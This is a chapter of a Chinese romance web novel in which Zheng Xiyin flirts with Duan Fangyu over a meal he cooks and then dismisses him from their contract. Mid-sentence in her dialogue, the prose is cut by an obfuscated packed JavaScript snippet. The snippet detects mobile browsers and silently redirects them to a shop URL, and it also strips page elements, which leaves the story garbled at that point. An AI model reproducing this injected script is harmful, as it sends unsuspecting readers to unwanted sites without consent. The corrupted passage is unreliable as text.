而就在门外不远，躲在一边墙角的段方禹，伴随里面的声音，这时，渐渐垂下了头。 表情同样浸没在背光阴影里，看不真切。 — 郑希音很快知道他并没有走。 没办法，自厨房陆续传出的巨大动静，让人想不知道，都难。 那“噼里啪啦”的架势，明白的，相信他是在做饭，不明白的，还以为他在同什么人打群架呢。 郑希音不得不撑起半边身子，卧室自动打开的窗帘，早秋淡薄而温热的阳光，肆无忌惮从落地窗倾斜而入，亮得她有些刺眼。 无人岛的蓝，渐而渗透成天空的颜色。 她缓慢挪步到厨房，双手抱臂，斜倚在岛台连接餐厅的门柱边，吊带睡裙下，裸露的肩脊和锁骨，半遮半掩在凌乱黑长卷发里，衬显白皙透彻。 阳光偏爱似的斜斜映照下，更平添几分，让人浮想联翩的事后和慵懒。 更遑论，她还以一种饶有兴致的暧昧眼神，目不转睛盯着他。 然后明知故问，“你在做什么？” 段方禹不动声色背过身，打开冰箱，才发现里面原封不动塞满来自三天前的一半蔬果，和一半垃圾速食。 他之所以知道，是因为米燕同超市确认订单时，他就在一旁听得清楚。 将蔬果一一取出，速食继续关入冰箱，他淡定回答：“做饭。” 不知联想到什么，侧面，郑希音兀自甜媚地眨巴眨眼，笑弯了腰。 有意思，虽说只一字之差，但有时候差之毫厘，失之千里。 啧啧，这可不是她想要的结果。 于是挑起抹造作嗓音，郑希音又问：“就因为我说饿了？想不到啊，你如此在意我。” 但没想这次，段方禹会说：“的确很在意……” 她表情微滞。 他停顿两秒，“在下午三点钟前，义不容辞将你带回工作室的那种在义。” “......” 以其人之道还治其人之身，这一招，也算被他学会了。 郑希音微微努唇，尽管表情夸张而哀怨地表演着“原来如此”，然嘴角忍不住有趣的发笑却出卖了她。 她似乎无半分奇怪，为何高鹏飞没派米燕而是让他过来，更不曾好奇，水泄不通的围堵下，他究竟有何方法，带她离开？ 胜券在握的神态，仿佛那些对她而言，不过一点就通的事。 转而才能做到，轻描淡写地跟叹一句，“那你可能误会了。” “什么？” 郑希音斜斜歪头，模样天真，“我所说的‘饿了’，和你理解的‘饿了’，完全生理意义上的，两个不同意思。” 说完，她挑起漂亮凤眼，明显察觉到对面段方禹整个人，怔了一下。 尔后装作不为所动，他继续井然地拿起刀叉。 仿佛对她的挑逗，就像他手底下各种食材，也许一开始会过敏，但了解和习惯之后，逐步形成免疫，也就无关痛痒。 甚至还能用一贯平冷的语气，反道，“既然是误会，想来这顿饭也不用吃了？不如，我们现在就出……” “吃，当然要吃。”郑希音毫不客气打断他。 送上门的食物，哪有无端放过的道理。 段方禹轻轻摇头，表情有种意料中的无奈与放纵，随后有条不紊继续做饭，同时也继续忍耐着，被那道难以忽略的灼灼目光锁住。 气氛不知不觉陷入单声调。 郑希音鲜见的安静和乖巧，倒叫原本流动的空气，变得粘连且潮湿。 他忽然有些难以言喻的，不知所措。 过会儿，只好强装淡定与不解地，打破沉默，“怎么了？” 倚着门柱的郑希音闻声挑眉，双眼自他手头悠悠划了一圈，又转向他，浓密乌黑的睫羽，慢慢卷翘成一抹好看的弧度。 她笑，“没什么啊，我只是在想，原来你做饭的动作，是可以放这么轻的。” 段方禹拧动天然气的手指蓦地轻颤。 蓝色火苗便“咻”地一下，不费吹灰之力，被点燃。 — 如果说，把人生片段比作电影场景的话，每一帧，都有对应的BGM。 那么在那一刻，段方禹脑海中清晰荡响的，是类似回合制游戏里，落败后，被对方“KO”的音效。 不知从何时开始，于成人的世界，亲情关系也好，敌对关系也罢，甚至债务关系，男女关系…… 任何一种社交，潜移默化里，都暗藏博弈与输赢。 他强迫自己按照这般既定的规则活着，既不迎合，也不逃避，既不奉承，也不仇视。 如此，倒也相安无事。 可郑希音不一样，合同白纸黑字签署是以工作室的名义，所以他与郑希音之间，并无直接法定上的契约关系，更不可能存在亲情、债务、敌对、男女……等等羁绊。 那么为何，段方禹还是潜意识里觉得自己输了。 许多次，甚至在他还没完全弄清楚，他们之间到底存在哪种博弈的时候—— 就已经输了。 类似以上复杂心情，对于此时此刻坐在餐桌对面，慢条斯理享用五菜一汤的郑希音，自然是难以品味的。 正如电影里，高贵优雅的富家千金在光氛完美餐厅里吃午餐，如此画面，是个人都会理所当然认为，背后环绕的，必定是浪漫舒缓的轻音乐。 然放在郑希音身上，大错特错了。 “虽然食物对我来说填补欲望的效果一般，但毕竟是我们两个单独共处的第一顿，以及最后一顿，算得极不错的道别礼物了，我很受用。” 纸巾抹了抹红唇油渍，随后，被她毫不留情丢进垃圾桶，刀叉扔进餐盘，划出冰冷锐响。 空中渐渐四散的，是图穷而匕首现的兵戈味道。 餐桌对面，段方禹不易察觉锁了锁眉，“什么意思？” 郑希音这才悠悠抬起眼皮瞧他。 也许为了做菜方便，此刻，段方禹难得摘下了棒球帽，就像直播那日，完美无缺的整张脸，暴露于耀眼明光中。 棱角分明的骨骼线，宛如神之画笔，修长眼睛深邃自带层次，搭配纤细的双眼皮和微垂眼角，莫明清冷却情深，骨感极高的鼻梁，又恰到好处增添面部的立体感。 明明具备独一无二攻击性的浓颜，却偏偏习惯隐匿在寂冷暗淡的阴影里，简直暴殄天物。 长相如此，人，也亦然。 难怪了，短短三天内，他能以史无前例的素人热度，打败一众男星，荣登热搜第二，迅速席卷整个娱乐圈。 如此叹为观止的一张脸，任谁，能不心生绮念？ 郑希音自然同样难舍，只不过可惜了，某一瞬间，事情突然变得不再有意思。 她丧失了继续游戏的兴趣。 “就，字面上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958039|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思。” 对面，段方禹神色未动，安静的，没有说话。 她便挑明了补充，“合约的事不必担心，尾款半年内到达你账户，虽没必要，但我可以保证，期间不会有任何麻烦。你唯一要做的，就是这半年里，不要再出现在我面前——” “听懂的话，现在就可以走了。” 略带迷蒙的目光遥望她，段方禹依然没有说话。 直至半晌过去，他才语气平淡，听不出任何情绪开口，“你不是一向最讲合约精神吗？” 郑希音缓慢点着头，“唔，严格意义来说，我也没毁约啊，毕竟跟你签约的人，本就不是我。” “那你岂非无权决定我的去留。” “直播那天你不也目睹了嘛，口头能改变的事，单凭几张白纸黑字？框不住的。” “但我信不过条款之外的口头承诺。” “现在加上不就好了。” “......” 兜兜转转，仿佛被回到原点的无力感打败。 段方禹表情在玻璃日光的反射中，渐渐不甚明朗，“为什么再次改变主意？你之前，不是这么说的。” “是啊，如你所说，我改主意了。” 郑希音毫无所谓耸耸肩膀，又抬起食指，点点一桌的空盘，“况且，你做到这个地步，不就为了尽早结束，可以离开嘛。” 她挑起一抹魅惑目光，猝不及防，“难道不是？” “...是。” “所以呀，我给你第三次机会，错过了这回，可真没有了。” “......” 这下，段方禹没有立马回话。 他想，也许郑希音说的对，他是该走的，无论如何。 可为何，偏偏不合时宜地，萌生种不知何去何从的错觉？ 就像迷失在傍晚起雾的森林，像走在坦途，突然一脚陷入下过雨的泥泞，像从蓝天和大海连成线的白天醒来，却开始分不清，是梦中，还是梦醒？ 那一刻，他无法看透郑希音的同时，似乎也完全丧失了，剖析自己心情的能力。 明知绝对会后悔，可最后，他还是没忍住发问，“所以，这一切于你而言，都只是游戏，对吗？” 刻在郑希音唇畔的调笑，彼时很不明显地，顿了一下。 “啧啧，你这语气，还真让人有种熟悉的讨厌。” 回忆起N天前，直播结束后，郑希音与Linda在电视台的卫生间偶然撞面。 互相免不了一番嘴仗，结果后者碰壁。 那时，差不多同样的语气，Linda冲她的背影喊道：“郑希音，你若再不知收敛，你的傲慢早晚会害了你，害了你身边所有人！游朝、孟凡文、沈星宇就是赤裸裸例子……” “那个段方禹，也不例外。” 例不例外的，她不知道，也不关心。 但自段方禹当着大屏镜头，主动摘下棒球帽的那刻起，郑希音便明白，有些事情，已经朝着她控制之外和意想不到的地方去了。 没错，她说谎了，事情不是变得没有意思，反而，更有意思。 有意思的，竟让她开始有些…… 欲罢不能。 终归由她主导开启的游戏，郑希音以为多少公平一点，在对手玩家无法独善其身之前，给他最后一次，选择退出的机会。 所以，与其说这是场驱逐，不如说，是欲拒还迎的诱敌深入。 与此同时，她也在赌。 就像现在，她冲段方禹灿烂一笑，眨巴眼睛，就之前问题回答道：“你终于明白了。” 段方禹便当真以为，是啊，他明白了。 就像挂在墙壁上那幅巨大油画，就像那只活在蓝色无妄虚梦里，焚身扑火的燕尾蝶。 傲慢无礼，没心没肺，随心所欲，恣意妄为…… 这就是她。 这就是郑希音。 他猝然站起来，看似有了最终选择的答案，就在即将脱口而出的间刻—— 门铃，这时突然响了。 隔桌相对的两个人眉眼微拧，与此同时表情莫辨，偏头，朝正门口的监视望去。 只见米燕趴在门外探头探脑的模样，出现在显示屏里，连同着急的声音一起—— “快开门啊，不好了，出事了，出大事了！”